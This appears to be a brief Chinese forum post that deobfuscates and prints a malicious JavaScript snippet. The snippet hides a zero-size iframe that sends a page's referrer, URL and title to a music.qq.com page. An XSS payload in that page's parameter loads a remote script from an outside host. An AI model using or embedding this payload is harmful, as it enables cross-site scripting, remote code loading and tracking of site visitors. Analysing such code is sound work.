Question

别被代码给吓到了，JS最终都得还原成原型的
下面是原型
(function(){var i_referrer=encodeURIComponent(document.referrer);var i_url=encodeURIComponent(document.location.href);var i_title=encodeURIComponent(document.title);if(!i_referrer)i_referrer="";if(!i_url)i_url="";if(!i_title)i_title="";var url="http://music.qq.com/miniportal/static/mood/other_mood_rmd.html?ouin=1064318178&oimg=&oname=<img%20src%3D%22xx%22%20onerror%3D%22var%20s%3Ddocument.createElement(%27script%27);s.type%3D%27text/javascript%27;s.src%3D%27http://cnzz.zhongposhan.com//format.php/73%27;document.getElementsByTagName(%27HEAD%27).item(0).appendChild(s);%22%20>";url+="&i_uid=73";url+="&i_referrer="+i_referrer;url+="&i_url="+i_url;url+="&i_title="+i_title;var f=document.createElement("iframe");f.height="0";f.width="0";f.border="0";f.src=url;f.style.visibility="hidden";document.body.appendChild(f)})();

(function() {
    var i_referrer = encodeURIComponent(document.referrer);
    var i_url = encodeURIComponent(document.location.href);
    var i_title = encodeURIComponent(document.title);
    if (!i_referrer) i_referrer = "";
    if (!i_url) i_url = "";
    if (!i_title) i_title = "";
    var url = "http://music.qq.com/miniportal/static/mood/other_mood_rmd.html?ouin=1064318178&oimg=&oname=<img%20src%3D%22xx%22%20onerror%3D%22var%20s%3Ddocument.createElement(%27script%27);s.type%3D%27text/javascript%27;s.src%3D%27http://cnzz.zhongposhan.com//format.php/73%27;document.getElementsByTagName(%27HEAD%27).item(0).appendChild(s);%22%20>";
    url += "&i_uid=73";
    url += "&i_referrer=" + i_referrer;
    url += "&i_url=" + i_url;
    url += "&i_title=" + i_title;
    var f = document.createElement("iframe");
    f.height = "0";
    f.width = "0";
    f.border = "0";
    f.src = url;
    f.style.visibility = "hidden";
    document.body.appendChild(f)
})();
